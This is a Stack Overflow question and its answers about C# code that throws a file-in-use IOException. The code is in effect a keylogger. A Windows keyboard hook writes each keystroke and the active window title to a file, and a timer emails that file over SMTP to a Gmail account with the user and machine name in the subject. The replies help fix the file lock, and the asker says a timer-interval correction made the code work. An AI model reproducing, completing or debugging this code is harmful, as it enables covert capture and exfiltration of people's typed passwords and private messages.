-1

New issue with my code, worked 100% last night. This morning it's giving me issues. (nothing changed)

When I run my code to send a file to Gmail, I get a

System.IO.IOException occurred HResult=0x80070020

But when I comment out the sending of the email ( see code) it works fine. I'm unsure on what happened.

Code:

public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
    {

          try
          {
              MailMessage mM = new MailMessage();
              mM.From = new MailAddress("username@gmail.com");
              mM.To.Add("username@gmail.com");
              mM.Subject = Environment.UserName + " / " + Environment.MachineName;
              mM.Attachments.Add(new Attachment(path));
              mM.Body = "Nothing";
             mM.IsBodyHtml = true;
             SmtpClient sC = new SmtpClient("smtp.gmail.com");
              sC.Port = 587;
             sC.Credentials = new NetworkCredential("username@gmail.com", "password");
            sC.EnableSsl = true;
             sC.Send(mM);
         }
         catch (Exception)
        {

        }

        //File.Delete(path);

    }

the other part of the program that writes to the file is

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {

        int KeyCode = Marshal.ReadInt32(lParam);
        using (StreamWriter sw = new StreamWriter(path, true))
        {

                sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)


                if (!string.IsNullOrEmpty(active) && active != getTitle())
                {
                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }

                else if (string.IsNullOrEmpty(active))
                {
                    active = getTitle();
                    //sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }
                else
                {
                    sw.Write((Keys)KeyCode);

                }



        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }
halfer
  • 19,824
  • 17
  • 99
  • 186
Adam
  • 11
  • 6
  • Please [edit] your question to remove the sensitive information – TheLethalCoder Mar 14 '17 at 15:25
  • 1
    I"m not seeing an assignment to `path`, does it exist? alos, is that a proper email address and password? – vipersassassin Mar 14 '17 at 15:25
  • remove the credential parts... you are gonna get hijacked – NicoRiff Mar 14 '17 at 15:25
  • He should have it removed now. – vipersassassin Mar 14 '17 at 15:26
  • @vipersassassin you shouldn't be trying to login in to his account! Even if he his stupid enough to put the credentials up publicly. – TheLethalCoder Mar 14 '17 at 15:28
  • yeah I noticed that Right after I posted this question. also changed password etc. Should be ok. – Adam Mar 14 '17 at 15:30
  • the revision with the credentials in has been redacted - they shouldn't show any more (even in the history view) – Marc Gravell Mar 14 '17 at 15:33
  • Questions that metamorphose are discouraged here, as are questions that start with lists of updates. Most of your readers will be new readers, and the latter format is so confusing that it is not likely to be of help to them. I've rolled back to the last version in which the question did not have edits at the start. If you would like to add any edits back in _at the end_ then please do so, but consider (a) are they new questions? and (b) do they invalidate any existing answers? – halfer Mar 16 '17 at 08:43
  • We do not use [solved] title hacks either, since we have an acceptance system. If you have an answer, please post it below, and if you want to know why it worked (or why another version did not) then please ask a separate question (linking here if you wish). The guiding principle when posting is "have I made this understandable for a reader six months from now?". – halfer Mar 16 '17 at 08:45

2 Answers2

0

I think it cant delete file because it is in use. Try to add "using" to dispose MailMessage object:

try
{
    using(MailMessage mM = new MailMessage())
    {
        // your code
    }
    File.Delete(path);
}
catch (Exception)
{
    // your code
}
daniell89
  • 1,832
  • 16
  • 28
  • Still comes up with the same msg "System.IO.IOException: 'The process cannot access the file " it highlights the second code in my post."using (StreamWriter sw = new StreamWriter(path, true))" – Adam Mar 14 '17 at 15:41
  • Your file must be in use in other process. Maybe this will help you http://stackoverflow.com/a/937558/5358389 – daniell89 Mar 14 '17 at 15:47
  • What I still cant wrap my head around is that this worked 100% last night, all I did was close the program and go to bed, woke up this morning to this issue. i'll check out the link and see what I can figure out. makes no sense. – Adam Mar 14 '17 at 15:52
  • when it gets to the "using (StreamWriter sw = new StreamWriter(path, true))" the "System.IO.IOException " is thrown. it seems almost as if the file is trying to be sent while still being written to. – Adam Mar 14 '17 at 15:58
  • Another way to check witch processes are using your file is: https://superuser.com/questions/117902/find-out-which-process-is-locking-a-file-or-folder-in-windows – daniell89 Mar 14 '17 at 16:10
  • looks to be "using (StreamWriter sw = new StreamWriter(path, true))" but why would this work one day and another day it doesn't? – Adam Mar 14 '17 at 18:12
  • Nothing else is using the file in the code, so it has to be the code itself. any idea on where I go from here? – Adam Mar 15 '17 at 16:18
0

Issue is fixed, what happened was my timer was setup wrong. I assumed the timer interval was seconds, not milliseconds.. so the timer was keeping the file to "busy". so the codes fine. thank you all for your help.

Adam
  • 11
  • 6